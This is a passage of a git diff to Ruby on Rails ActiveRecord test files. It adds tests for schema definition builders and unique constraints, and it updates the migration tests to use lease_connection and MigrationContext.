-          assert_equal "http://www.foreverflying.com/octopus-black7.jpg", connection.select_value("SELECT url FROM octopi WHERE id=1")
-          index = connection.indexes(:octopi).first
-          assert_includes index.columns, "url"
-          assert_equal "index_octopi_on_url", index.name
-        end
+      def test_rename_table_with_an_index
+        add_index :test_models, :url
 
-        def test_rename_table_does_not_rename_custom_named_index
-          add_index :test_models, :url, name: "special_url_idx"
+        rename_table :test_models, :octopi
 
-          rename_table :test_models, :octopi
+        connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
 
-          assert_equal ["special_url_idx"], connection.indexes(:octopi).map(&:name)
-        end
+        assert_equal "http://www.foreverflying.com/octopus-black7.jpg", connection.select_value("SELECT url FROM octopi WHERE id=1")
+        index = connection.indexes(:octopi).first
+        assert_includes index.columns, "url"
+        assert_equal "index_octopi_on_url", index.name
       end
 
-      if current_adapter?(:PostgreSQLAdapter)
-        def test_rename_table_for_postgresql_should_also_rename_default_sequence
-          rename_table :test_models, :octopi
+      def test_rename_table_with_long_table_name_and_index
+        long_name = "a" * connection.table_name_length
 
-          pk, seq = connection.pk_and_sequence_for("octopi")
+        add_index :test_models, :url
+        rename_table :test_models, long_name
 
-          assert_equal ConnectionAdapters::PostgreSQL::Name.new("public", "octopi_#{pk}_seq"), seq
-        end
+        index = connection.indexes(long_name).first
+        assert_includes index.columns, "url"
+      ensure
+        rename_table long_name, :test_models
+      end
 
-        def test_renaming_table_doesnt_attempt_to_rename_non_existent_sequences
-          connection.create_table :cats, id: :uuid
-          assert_nothing_raised { rename_table :cats, :felines }
-          assert connection.table_exists? :felines
-        ensure
-          connection.drop_table :cats, if_exists: true
-          connection.drop_table :felines, if_exists: true
-        end
+      def test_rename_table_does_not_rename_custom_named_index
+        add_index :test_models, :url, name: "special_url_idx"
+
+        rename_table :test_models, :octopi
+
+        assert_equal ["special_url_idx"], connection.indexes(:octopi).map(&:name)
       end
     end
   end
diff --git a/activerecord/test/cases/migration/schema_definitions_test.rb b/activerecord/test/cases/migration/schema_definitions_test.rb
new file mode 100644
index 0000000000000..1d692face50f2
--- /dev/null
+++ b/activerecord/test/cases/migration/schema_definitions_test.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class SchemaDefinitionsTest < ActiveRecord::TestCase
+      attr_reader :connection
+
+      def setup
+        @connection = ActiveRecord::Base.lease_connection
+      end
+
+      def test_build_create_table_definition_with_block
+        td = connection.build_create_table_definition :test do |t|
+          t.column :foo, :string
+        end
+
+        id_column = td.columns.find { |col| col.name == "id" }
+        assert_predicate id_column, :present?
+
+        foo_column = td.columns.find { |col| col.name == "foo" }
+        assert_predicate foo_column, :present?
+      end
+
+      def test_build_create_table_definition_without_block
+        td = connection.build_create_table_definition(:test)
+
+        id_column = td.columns.find { |col| col.name == "id" }
+        assert_predicate id_column, :present?
+      end
+
+      def test_build_create_join_table_definition_with_block
+        assert connection.table_exists?(:posts)
+        assert connection.table_exists?(:comments)
+
+        join_td = connection.build_create_join_table_definition(:posts, :comments) do |t|
+          t.column :another_col, :string
+        end
+
+        assert_equal :comments_posts, join_td.name
+        assert_equal ["another_col", "comment_id", "post_id"], join_td.columns.map(&:name).sort
+      end
+
+      def test_build_create_join_table_definition_without_block
+        assert connection.table_exists?(:posts)
+        assert connection.table_exists?(:comments)
+
+        join_td = connection.build_create_join_table_definition(:posts, :comments)
+
+        assert_equal :comments_posts, join_td.name
+        assert_equal ["comment_id", "post_id"], join_td.columns.map(&:name).sort
+      end
+
+      def test_build_create_index_definition
+        connection.create_table(:test) do |t|
+          t.column :foo, :string
+        end
+        create_index = connection.build_create_index_definition(:test, :foo)
+
+        assert_equal "index_test_on_foo", create_index.index.name
+      ensure
+        connection.drop_table(:test) if connection.table_exists?(:test)
+      end
+
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        def test_build_create_index_definition_for_existing_index
+          connection.create_table(:test) do |t|
+            t.column :foo, :string
+          end
+          connection.add_index(:test, :foo)
+
+          create_index = connection.build_create_index_definition(:test, :foo, if_not_exists: true)
+          assert_nil create_index
+        ensure
+          connection.drop_table(:test) if connection.table_exists?(:test)
+        end
+      end
+
+      unless current_adapter?(:SQLite3Adapter)
+        def test_build_change_column_definition
+          connection.create_table(:test) do |t|
+            t.column :foo, :string
+          end
+
+          change_cd = connection.build_change_column_definition(:test, :foo, :integer)
+          change_col = change_cd.column
+          assert_equal "foo", change_col.name.to_s
+        ensure
+          connection.drop_table(:test) if connection.table_exists?(:test)
+        end
+
+        def test_build_change_column_default_definition
+          connection.create_table(:test) do |t|
+            t.column :foo, :string
+          end
+
+          change_default_cd = connection.build_change_column_default_definition(:test, :foo, "new")
+          assert_equal "new", change_default_cd.default
+
+          change_col = change_default_cd.column
+          assert_equal "foo", change_col.name.to_s
+        ensure
+          connection.drop_table(:test) if connection.table_exists?(:test)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/unique_constraint_test.rb b/activerecord/test/cases/migration/unique_constraint_test.rb
new file mode 100644
index 0000000000000..b5d0efd1b8b47
--- /dev/null
+++ b/activerecord/test/cases/migration/unique_constraint_test.rb
@@ -0,0 +1,234 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.lease_connection.supports_unique_constraints?
+  module ActiveRecord
+    class Migration
+      class UniqueConstraintTest < ActiveRecord::TestCase
+        include SchemaDumpingHelper
+
+        class Section < ActiveRecord::Base
+        end
+
+        setup do
+          @connection = ActiveRecord::Base.lease_connection
+          @connection.create_table "sections", force: true do |t|
+            t.integer "position", null: false
+          end
+        end
+
+        teardown do
+          @connection.drop_table "sections", if_exists: true
+        end
+
+        def test_unique_constraints
+          unique_constraints = @connection.unique_constraints("test_unique_constraints")
+
+          expected_constraints = [
+            {
+              name: "test_unique_constraints_position_deferrable_false",
+              deferrable: false,
+              column: ["position_1"]
+            }, {
+              name: "test_unique_constraints_position_deferrable_immediate",
+              deferrable: :immediate,
+              column: ["position_2"]
+            }, {
+              name: "test_unique_constraints_position_deferrable_deferred",
+              deferrable: :deferred,
+              column: ["position_3"]
+            }, {
+              name: "test_unique_constraints_position_nulls_not_distinct",
+              nulls_not_distinct: true,
+              column: ["position_4"]
+            }
+          ]
+
+          assert_equal expected_constraints.size, unique_constraints.size
+
+          expected_nulls_not_distinct = expected_constraints.pop
+
+          expected_constraints.each do |expected_constraint|
+            constraint = unique_constraints.find { |constraint| constraint.name == expected_constraint[:name] }
+            assert_equal "test_unique_constraints", constraint.table_name
+            assert_equal expected_constraint[:name], constraint.name
+            assert_equal expected_constraint[:column], constraint.column
+            assert_equal expected_constraint[:deferrable], constraint.deferrable
+          end
+
+          if supports_nulls_not_distinct?
+            constraint = unique_constraints.find { |constraint| constraint.name == expected_nulls_not_distinct[:name] }
+            assert_equal "test_unique_constraints", constraint.table_name
+            assert_equal expected_nulls_not_distinct[:name], constraint.name
+            assert_equal expected_nulls_not_distinct[:column], constraint.column
+            assert_equal expected_nulls_not_distinct[:nulls_not_distinct], constraint.nulls_not_distinct
+          end
+        end
+
+        def test_unique_constraints_scoped_to_schemas
+          @connection.add_unique_constraint :sections, [:position]
+
+          assert_no_changes -> { @connection.unique_constraints("sections").size } do
+            @connection.create_schema "test_schema"
+            @connection.create_table "test_schema.sections" do |t|
+              t.integer :position
+            end
+            @connection.add_unique_constraint "test_schema.sections", [:position]
+          end
+        ensure
+          @connection.drop_schema "test_schema"
+        end
+
+        def test_add_unique_constraint_without_deferrable
+          @connection.add_unique_constraint :sections, [:position]
+
+          unique_constraints = @connection.unique_constraints("sections")
+          assert_equal 1, unique_constraints.size
+
+          constraint = unique_constraints.first
+          assert_equal "sections", constraint.table_name
+          assert_equal "uniq_rails_1e07660b77", constraint.name
+          assert_equal false, constraint.deferrable
+        end
+
+        def test_add_unique_constraint_with_deferrable_false
+          @connection.add_unique_constraint :sections, [:position], deferrable: false
+
+          unique_constraints = @connection.unique_constraints("sections")
+          assert_equal 1, unique_constraints.size
+
+          constraint = unique_constraints.first
+          assert_equal "sections", constraint.table_name
+          assert_equal "uniq_rails_1e07660b77", constraint.name
+          assert_equal false, constraint.deferrable
+        end
+
+        def test_add_unique_constraint_with_deferrable_immediate
+          @connection.add_unique_constraint :sections, [:position], deferrable: :immediate
+
+          unique_constraints = @connection.unique_constraints("sections")
+          assert_equal 1, unique_constraints.size
+
+          constraint = unique_constraints.first
+          assert_equal "sections", constraint.table_name
+          assert_equal "uniq_rails_1e07660b77", constraint.name
+          assert_equal :immediate, constraint.deferrable
+        end
+
+        def test_add_unique_constraint_with_deferrable_deferred
+          @connection.add_unique_constraint :sections, [:position], deferrable: :deferred
+
+          unique_constraints = @connection.unique_constraints("sections")
+          assert_equal 1, unique_constraints.size
+
+          constraint = unique_constraints.first
+          assert_equal "sections", constraint.table_name
+          assert_equal "uniq_rails_1e07660b77", constraint.name
+          assert_equal :deferred, constraint.deferrable
+        end
+
+        def test_add_unique_constraint_with_deferrable_invalid
+          error = assert_raises(ArgumentError) do
+            @connection.add_unique_constraint :sections, [:position], deferrable: true
+          end
+
+          assert_equal "deferrable must be `:immediate` or `:deferred`, got: `true`", error.message
+        end
+
+        def test_added_deferrable_initially_immediate_unique_constraint
+          @connection.add_unique_constraint :sections, [:position], deferrable: :immediate, name: "unique_section_position"
+
+          section = Section.create!(position: 1)
+
+          assert_raises(ActiveRecord::StatementInvalid) do
+            Section.transaction(requires_new: true) do
+              Section.create!(position: 1)
+              section.update!(position: 2)
+            end
+          end
+
+          assert_nothing_raised do
+            Section.transaction(requires_new: true) do
+              Section.lease_connection.exec_query("SET CONSTRAINTS unique_section_position DEFERRED")
+              Section.create!(position: 1)
+              section.update!(position: 2)
+
+              # NOTE: Clear `SET CONSTRAINTS` statement at the end of transaction.
+              raise ActiveRecord::Rollback
+            end
+          end
+        end
+
+        def test_add_unique_constraint_with_name_and_using_index
+          @connection.add_index :sections, [:position], name: "unique_index", unique: true
+          @connection.add_unique_constraint :sections, name: "unique_constraint", deferrable: :immediate, using_index: "unique_index"
+
+          unique_constraints = @connection.unique_constraints("sections")
+          assert_equal 1, unique_constraints.size
+
+          constraint = unique_constraints.first
+          assert_equal "sections", constraint.table_name
+          assert_equal "unique_constraint", constraint.name
+          assert_equal ["position"], constraint.column
+          assert_equal :immediate, constraint.deferrable
+        end
+
+        def test_add_unique_constraint_with_only_using_index
+          @connection.add_index :sections, [:position], name: "unique_index", unique: true
+          @connection.add_unique_constraint :sections, using_index: "unique_index"
+
+          unique_constraints = @connection.unique_constraints("sections")
+          assert_equal 1, unique_constraints.size
+
+          constraint = unique_constraints.first
+          assert_equal "sections", constraint.table_name
+          assert_equal "uniq_rails_79b901ffb4", constraint.name
+          assert_equal ["position"], constraint.column
+          assert_equal false, constraint.deferrable
+        end
+
+        def test_add_unique_constraint_with_columns_and_using_index
+          @connection.add_index :sections, [:position], name: "unique_index", unique: true
+
+          assert_raises(ArgumentError) do
+            @connection.add_unique_constraint :sections, [:position], using_index: "unique_index"
+          end
+        end
+
+        def test_remove_unique_constraint
+          @connection.add_unique_constraint :sections, [:position], name: :unique_section_position
+          assert_equal 1, @connection.unique_constraints("sections").size
+          @connection.remove_unique_constraint :sections, name: :unique_section_position
+          assert_empty @connection.unique_constraints("sections")
+        end
+
+        def test_remove_unique_constraint_by_column
+          @connection.add_unique_constraint :sections, [:position]
+          assert_equal 1, @connection.unique_constraints("sections").size
+          @connection.remove_unique_constraint :sections, [:position]
+          assert_empty @connection.unique_constraints("sections")
+        end
+
+        def test_remove_non_existing_unique_constraint
+          assert_raises(ArgumentError, match: /Table 'sections' has no unique constraint/) do
+            @connection.remove_unique_constraint :sections, name: "nonexistent"
+          end
+        end
+
+        def test_renamed_unique_constraint
+          @connection.add_unique_constraint :sections, [:position]
+          @connection.rename_column :sections, :position, :new_position
+
+          unique_constraints = @connection.unique_constraints("sections")
+          assert_equal 1, unique_constraints.size
+
+          constraint = unique_constraints.first
+          assert_equal "sections", constraint.table_name
+          assert_equal ["new_position"], constraint.column
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index de16ecf442007..5b679ce0b4866 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "cases/migration/helper"
 require "bigdecimal/util"
@@ -13,8 +15,14 @@
 require MIGRATIONS_ROOT + "/rename/2_rename_things"
 require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
 
+class ValidPeopleHaveLastNames < ActiveRecord::Migration::Current
+  def change
+    drop_table :people
+  end
+end
+
 class BigNumber < ActiveRecord::Base
-  unless current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+  unless ActiveRecord::TestCase.current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
     attribute :value_of_e, :integer
   end
   attribute :my_house_population, :integer
@@ -32,112 +40,413 @@ class MigrationTest < ActiveRecord::TestCase
   def setup
     super
     %w(reminders people_reminders prefix_reminders_suffix p_things_s).each do |table|
-      Reminder.connection.drop_table(table) rescue nil
+      Reminder.lease_connection.drop_table(table) rescue nil
     end
     Reminder.reset_column_information
     @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
-    ActiveRecord::Base.connection.schema_cache.clear!
+    @pool = ActiveRecord::Base.connection_pool
+    @schema_migration = @pool.schema_migration
+    @internal_metadata = @pool.internal_metadata
+    ActiveRecord::Base.schema_cache.clear!
   end
 
   teardown do
     ActiveRecord::Base.table_name_prefix = ""
     ActiveRecord::Base.table_name_suffix = ""
 
-    ActiveRecord::SchemaMigration.create_table
-    ActiveRecord::SchemaMigration.delete_all
+    @schema_migration.create_table
+    @schema_migration.delete_all_versions
 
     %w(things awesome_things prefix_things_suffix p_awesome_things_s).each do |table|
-      Thing.connection.drop_table(table) rescue nil
+      Thing.lease_connection.drop_table(table) rescue nil
     end
     Thing.reset_column_information
+    clear_statement_cache(Thing)
 
     %w(reminders people_reminders prefix_reminders_suffix).each do |table|
-      Reminder.connection.drop_table(table) rescue nil
+      Reminder.lease_connection.drop_table(table) rescue nil
     end
     Reminder.reset_table_name
     Reminder.reset_column_information
+    clear_statement_cache(Reminder)
 
     %w(last_name key bio age height wealth birthday favorite_day
        moment_of_truth male administrator funny).each do |column|
-      Person.connection.remove_column("people", column) rescue nil
+      Person.lease_connection.remove_column("people", column) rescue nil
     end
-    Person.connection.remove_column("people", "first_name") rescue nil
-    Person.connection.remove_column("people", "middle_name") rescue nil
-    Person.connection.add_column("people", "first_name", :string)
+    Person.lease_connection.remove_column("people", "first_name") rescue nil
+    Person.lease_connection.remove_column("people", "middle_name") rescue nil
+    Person.lease_connection.add_column("people", "first_name", :string)
     Person.reset_column_information
+    clear_statement_cache(Person)
 
     ActiveRecord::Migration.verbose = @verbose_was
   end
 
+  def test_migration_context_with_default_schema_migration
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    migrator = ActiveRecord::MigrationContext.new(migrations_path)
+    migrator.up
+
+    assert_equal 3, migrator.current_version
+    assert_equal false, migrator.needs_migration?
+
+    migrator.down
+    assert_equal 0, migrator.current_version
+    assert_equal true, migrator.needs_migration?
+
+    @schema_migration.create_version(3)
+    assert_equal true, migrator.needs_migration?
+  end
+
   def test_migration_version_matches_component_version
     assert_equal ActiveRecord::VERSION::STRING.to_f, ActiveRecord::Migration.current_version
   end
 
   def test_migrator_versions
     migrations_path = MIGRATIONS_ROOT + "/valid"
-    old_path = ActiveRecord::Migrator.migrations_paths
-    ActiveRecord::Migrator.migrations_paths = migrations_path
+    migrator = ActiveRecord::MigrationContext.new(migrations_path, @schema_migration, @internal_metadata)
 
-    ActiveRecord::Migrator.up(migrations_path)
-    assert_equal 3, ActiveRecord::Migrator.current_version
-    assert_equal false, ActiveRecord::Migrator.needs_migration?
+    migrator.up
+    assert_equal 3, migrator.current_version
+    assert_equal false, migrator.needs_migration?
 
-    ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid")
-    assert_equal 0, ActiveRecord::Migrator.current_version
-    assert_equal true, ActiveRecord::Migrator.needs_migration?
+    migrator.down
+    assert_equal 0, migrator.current_version
+    assert_equal true, migrator.needs_migration?
 
-    ActiveRecord::SchemaMigration.create!(version: 3)
-    assert_equal true, ActiveRecord::Migrator.needs_migration?
-  ensure
-    ActiveRecord::Migrator.migrations_paths = old_path
+    @schema_migration.create_version(3)
+    assert_equal true, migrator.needs_migration?
+  end
+
+  def test_name_collision_across_dbs
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    migrator = ActiveRecord::MigrationContext.new(migrations_path)
+    migrator.up
+
+    assert_column Person, :last_name
   end
 
   def test_migration_detection_without_schema_migration_table
-    ActiveRecord::Base.connection.drop_table "schema_migrations", if_exists: true
+    @schema_migration.drop_table
 
     migrations_path = MIGRATIONS_ROOT + "/valid"
-    old_path = ActiveRecord::Migrator.migrations_paths
-    ActiveRecord::Migrator.migrations_paths = migrations_path
+    migrator = ActiveRecord::MigrationContext.new(migrations_path, @schema_migration, @internal_metadata)
 
-    assert_equal true, ActiveRecord::Migrator.needs_migration?
+    assert_equal true, migrator.needs_migration?
   ensure
-    ActiveRecord::Migrator.migrations_paths = old_path
+    @schema_migration.create_table
   end
 
   def test_any_migrations
-    old_path = ActiveRecord::Migrator.migrations_paths
-    ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/valid"
+    migrator = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + "/valid", @schema_migration, @internal_metadata)
 
-    assert ActiveRecord::Migrator.any_migrations?
+    assert_predicate migrator.migrations, :any?
 
-    ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/empty"
+    migrator_empty = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + "/empty", @schema_migration, @internal_metadata)
 
-    assert_not ActiveRecord::Migrator.any_migrations?
-  ensure
-    ActiveRecord::Migrator.migrations_paths = old_path
+    assert_not_predicate migrator_empty.migrations, :any?
   end
 
   def test_migration_version
-    assert_nothing_raised { ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947) }
+    migrator = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + "/version_check", @schema_migration, @internal_metadata)
+    assert_equal 0, migrator.current_version
+    migrator.up(20131219224947)
+    assert_equal 20131219224947, migrator.current_version
+  end
+
+  def test_create_table_raises_if_already_exists
+    connection = Person.lease_connection
+    connection.create_table :testings, force: true do |t|
+      t.string :foo
+    end
+
+    assert_raise(ActiveRecord::StatementInvalid) do
+      connection.create_table :testings do |t|
+        t.string :foo
+      end
+    end
+  ensure
+    connection.drop_table :testings, if_exists: true
+  end
+
+  def test_create_table_with_if_not_exists_true
+    connection = Person.lease_connection
+    connection.create_table :testings, force: true do |t|
+      t.string :foo
+    end
+
+    assert_nothing_raised do
+      connection.create_table :testings, if_not_exists: true do |t|
+        t.string :foo
+      end
+    end
+  ensure
+    connection.drop_table :testings, if_exists: true
+  end
+
+  def test_create_table_raises_for_long_table_names
+    connection = Person.lease_connection
+    name_limit = connection.table_name_length
+    long_name = "a" * (name_limit + 1)
+    short_name = "a" * name_limit
+
+    error = assert_raises(ArgumentError) do
+      connection.create_table(long_name)
+    end
+    assert_equal "Table name '#{long_name}' is too long \(#{long_name.length} characters\); the limit is #{name_limit} characters", error.message
+
+    connection.create_table(short_name)
+    assert connection.table_exists?(short_name)
+  ensure
+    connection.drop_table short_name, if_exists: true
+  end
+
+  def test_create_table_with_force_and_if_not_exists
+    connection = Person.lease_connection
+    assert_raises(ArgumentError, match: /Options `:force` and `:if_not_exists` cannot be used simultaneously/) do
+      connection.create_table(:testings, force: true, if_not_exists: true)
+    end
+  end
+
+  def test_create_table_with_indexes_and_if_not_exists_true
+    connection = Person.lease_connection
+    connection.create_table :testings, force: true do |t|
+      t.references :people
+      t.string :foo
+    end
+
+    assert_nothing_raised do
+      connection.create_table :testings, if_not_exists: true do |t|
+        t.references :people
+        t.string :foo
+      end
+    end
+  ensure
+    connection.drop_table :testings, if_exists: true
   end
 
   def test_create_table_with_force_true_does_not_drop_nonexisting_table
     # using a copy as we need the drop_table method to
     # continue to work for the ensure block of the test
-    temp_conn = Person.connection.dup
+    temp_conn = Person.lease_connection.dup
 
-    assert_not_equal temp_conn, Person.connection
+    assert_not_equal temp_conn, Person.lease_connection
 
     temp_conn.create_table :testings2, force: true do |t|
       t.column :foo, :string
     end
   ensure
-    Person.connection.drop_table :testings2, if_exists: true
+    Person.lease_connection.drop_table :testings2, if_exists: true
+  end
+
+  def test_remove_column_with_if_not_exists_not_set
+    migration_a = Class.new(ActiveRecord::Migration::Current) {
+      def version; 100 end
+      def migrate(x)
+        add_column "people", "last_name", :string
+      end
+    }.new
+
+    migration_b = Class.new(ActiveRecord::Migration::Current) {
+      def version; 101 end
+      def migrate(x)
+        remove_column "people", "last_name"
+      end
+    }.new
+
+    migration_c = Class.new(ActiveRecord::Migration::Current) {
+      def version; 102 end
+      def migrate(x)
+        remove_column "people", "last_name"
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration_a], @schema_migration, @internal_metadata, 100).migrate
+    assert_column Person, :last_name, "migration_a should have added the last_name column on people"
+
+    ActiveRecord::Migrator.new(:up, [migration_b], @schema_migration, @internal_metadata, 101).migrate
+    assert_no_column Person, :last_name, "migration_b should have dropped the last_name column on people"
+
+    migrator = ActiveRecord::Migrator.new(:up, [migration_c], @schema_migration, @internal_metadata, 102)
+
+    if current_adapter?(:SQLite3Adapter)
+      assert_nothing_raised do
+        migrator.migrate
+      end
+    else
+      error = assert_raises do
+        migrator.migrate
+      end
+
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        if ActiveRecord::Base.lease_connection.mariadb?
+          assert_match(/Can't DROP COLUMN `last_name`; check that it exists/, error.message)
+        else
+          assert_match(/check that column\/key exists/, error.message)
+        end
+      elsif current_adapter?(:PostgreSQLAdapter)
+        assert_match(/column "last_name" of relation "people" does not exist/, error.message)
+      end
+    end
+  ensure
+    Person.reset_column_information
+  end
+
+  def test_remove_column_with_if_exists_set
+    migration_a = Class.new(ActiveRecord::Migration::Current) {
+      def version; 100 end
+      def migrate(x)
+        add_column "people", "last_name", :string
+      end
+    }.new
+
+    migration_b = Class.new(ActiveRecord::Migration::Current) {
+      def version; 101 end
+      def migrate(x)
+        remove_column "people", "last_name"
+      end
+    }.new
+
+    migration_c = Class.new(ActiveRecord::Migration::Current) {
+      def version; 102 end
+      def migrate(x)
+        remove_column "people", "last_name", if_exists: true
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration_a], @schema_migration, @internal_metadata, 100).migrate
+    assert_column Person, :last_name, "migration_a should have added the last_name column on people"
+
+    ActiveRecord::Migrator.new(:up, [migration_b], @schema_migration, @internal_metadata, 101).migrate
+    assert_no_column Person, :last_name, "migration_b should have dropped the last_name column on people"
+
+    migrator = ActiveRecord::Migrator.new(:up, [migration_c], @schema_migration, @internal_metadata, 102)
+
+    assert_nothing_raised do
+      migrator.migrate
+    end
+  ensure
+    Person.reset_column_information
+  end
+
+  def test_add_column_with_if_not_exists_not_set
+    migration_a = Class.new(ActiveRecord::Migration::Current) {
+      def version; 100 end
+      def migrate(x)
+        add_column "people", "last_name", :string
+      end
+    }.new
+
+    migration_b = Class.new(ActiveRecord::Migration::Current) {
+      def version; 101 end
+      def migrate(x)
+        add_column "people", "last_name", :string
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration_a], @schema_migration, @internal_metadata, 100).migrate
+    assert_column Person, :last_name, "migration_a should have created the last_name column on people"
+
+    assert_raises do
+      ActiveRecord::Migrator.new(:up, [migration_b], @schema_migration, @internal_metadata, 101).migrate
+    end
+  ensure
+    Person.reset_column_information
+    if Person.column_names.include?("last_name")
+      Person.lease_connection.remove_column("people", "last_name")
+    end
+  end
+
+  def test_add_column_with_if_not_exists_set_to_true
+    migration_a = Class.new(ActiveRecord::Migration::Current) {
+      def version; 100 end
+      def migrate(x)
+        add_column "people", "last_name", :string
+      end
+    }.new
+
+    migration_b = Class.new(ActiveRecord::Migration::Current) {
+      def version; 101 end
+      def migrate(x)
+        add_column "people", "last_name", :string, if_not_exists: true
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration_a], @schema_migration, @internal_metadata, 100).migrate
+    assert_column Person, :last_name, "migration_a should have created the last_name column on people"
+
+    assert_nothing_raised do
+      ActiveRecord::Migrator.new(:up, [migration_b], @schema_migration, @internal_metadata, 101).migrate
+    end
+  ensure
+    Person.reset_column_information
+    if Person.column_names.include?("last_name")
+      Person.lease_connection.remove_column("people", "last_name")
+    end
+  end
+
+  def test_add_column_with_casted_type_if_not_exists_set_to_true
+    migration_a = Class.new(ActiveRecord::Migration::Current) {
+      def version; 100 end
+      def migrate(x)
+        type = ActiveRecord::TestCase.current_adapter?(:PostgreSQLAdapter) ? :char : :blob
+        add_column "people", "last_name", type
+      end
+    }.new
+
+    migration_b = Class.new(ActiveRecord::Migration::Current) {
+      def version; 101 end
+      def migrate(x)
+        type = ActiveRecord::TestCase.current_adapter?(:PostgreSQLAdapter) ? :char : :blob
+        add_column "people", "last_name", type, if_not_exists: true
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration_a], @schema_migration, @internal_metadata, 100).migrate
+    assert_column Person, :last_name, "migration_a should have created the last_name column on people"
+
+    assert_nothing_raised do
+      ActiveRecord::Migrator.new(:up, [migration_b], @schema_migration, @internal_metadata, 101).migrate
+    end
+  ensure
+    Person.reset_column_information
+    if Person.column_names.include?("last_name")
+      Person.lease_connection.remove_column("people", "last_name")
+    end
+  end
+
+  def test_add_column_with_if_not_exists_set_to_true_does_not_raise_if_type_is_different
+    migration_a = Class.new(ActiveRecord::Migration::Current) {
+      def version; 100 end
+      def migrate(x)
+        add_column "people", "last_name", :string
+      end
+    }.new
+
+    migration_b = Class.new(ActiveRecord::Migration::Current) {
+      def version; 101 end
+      def migrate(x)
+        add_column "people", "last_name", :boolean, if_not_exists: true
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration_a], @schema_migration, @internal_metadata, 100).migrate
+    assert_column Person, :last_name, "migration_a should have created the last_name column on people"
+
+    assert_nothing_raised do
+      ActiveRecord::Migrator.new(:up, [migration_b], @schema_migration, @internal_metadata, 101).migrate
+    end
+  ensure
+    Person.reset_column_information
+    if Person.column_names.include?("last_name")
+      Person.lease_connection.remove_column("people", "last_name")
+    end
   end
 
   def test_migration_instance_has_connection
     migration = Class.new(ActiveRecord::Migration::Current).new
-    assert_equal ActiveRecord::Base.connection, migration.connection
+    assert_equal ActiveRecord::Base.lease_connection, migration.connection
   end
 
   def test_method_missing_delegates_to_connection
@@ -145,6 +454,7 @@ def test_method_missing_delegates_to_connection
       def connection
         Class.new {
           def create_table; "hi mom!"; end
+          def migration_strategy; nil; end
         }.new
       end
     }.new
@@ -152,17 +462,34 @@ def create_table; "hi mom!"; end
     assert_equal "hi mom!", migration.method_missing(:create_table)
   end
 
+  def test_respond_to_for_migration_method
+    migration_class = Class.new(ActiveRecord::Migration::Current) {
+      def connection
+        Class.new {
+          def create_table; end
+          def migration_strategy; nil; end
+        }.new
+      end
+    }
+
+    migration_class.class_eval { undef_method :create_table }
+    # create_table is handled by method_missing, so respond_to? returns true.
+    assert migration_class.new.respond_to?(:create_table)
+    assert migration_class.respond_to?(:create_table)
+  end
+
   def test_add_table_with_decimals
-    Person.connection.drop_table :big_numbers rescue nil
+    Person.lease_connection.drop_table :big_numbers rescue nil
 
-    assert !BigNumber.table_exists?
+    assert_not_predicate BigNumber, :table_exists?
     GiveMeBigNumbers.up
+    assert_predicate BigNumber, :table_exists?
     BigNumber.reset_column_information
 
     assert BigNumber.create(
       bank_balance: 1586.43,
       big_bank_balance: BigDecimal("1000234000567.95"),
-      world_population: 6000000000,
+      world_population: 2**62,
       my_house_population: 3,
       value_of_e: BigDecimal("2.7182818284590452353602875")
     )
@@ -176,10 +503,8 @@ def test_add_table_with_decimals
     assert_not_nil b.my_house_population
     assert_not_nil b.value_of_e
 
-    # TODO: set world_population >= 2**62 to cover 64-bit platforms and test
-    # is_a?(Bignum)
     assert_kind_of Integer, b.world_population
-    assert_equal 6000000000, b.world_population
+    assert_equal 2**62, b.world_population
     assert_kind_of Integer, b.my_house_population
     assert_equal 3, b.my_house_population
     assert_kind_of BigDecimal, b.bank_balance
@@ -214,15 +539,16 @@ def test_add_table_with_decimals
 
   def test_filtering_migrations
     assert_no_column Person, :last_name
-    assert !Reminder.table_exists?
+    assert_not_predicate Reminder, :table_exists?
 
     name_filter = lambda { |migration| migration.name == "ValidPeopleHaveLastNames" }
-    ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", &name_filter)
+    migrator = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + "/valid", @schema_migration, @internal_metadata)
+    migrator.up(&name_filter)
 
     assert_column Person, :last_name
     assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
 
-    ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", &name_filter)
+    migrator.down(&name_filter)
 
     assert_no_column Person, :last_name
     assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
@@ -248,25 +574,25 @@ def down
 
   def test_instance_based_migration_up
     migration = MockMigration.new
-    assert !migration.went_up, "have not gone up"
-    assert !migration.went_down, "have not gone down"
+    assert_not migration.went_up, "have not gone up"
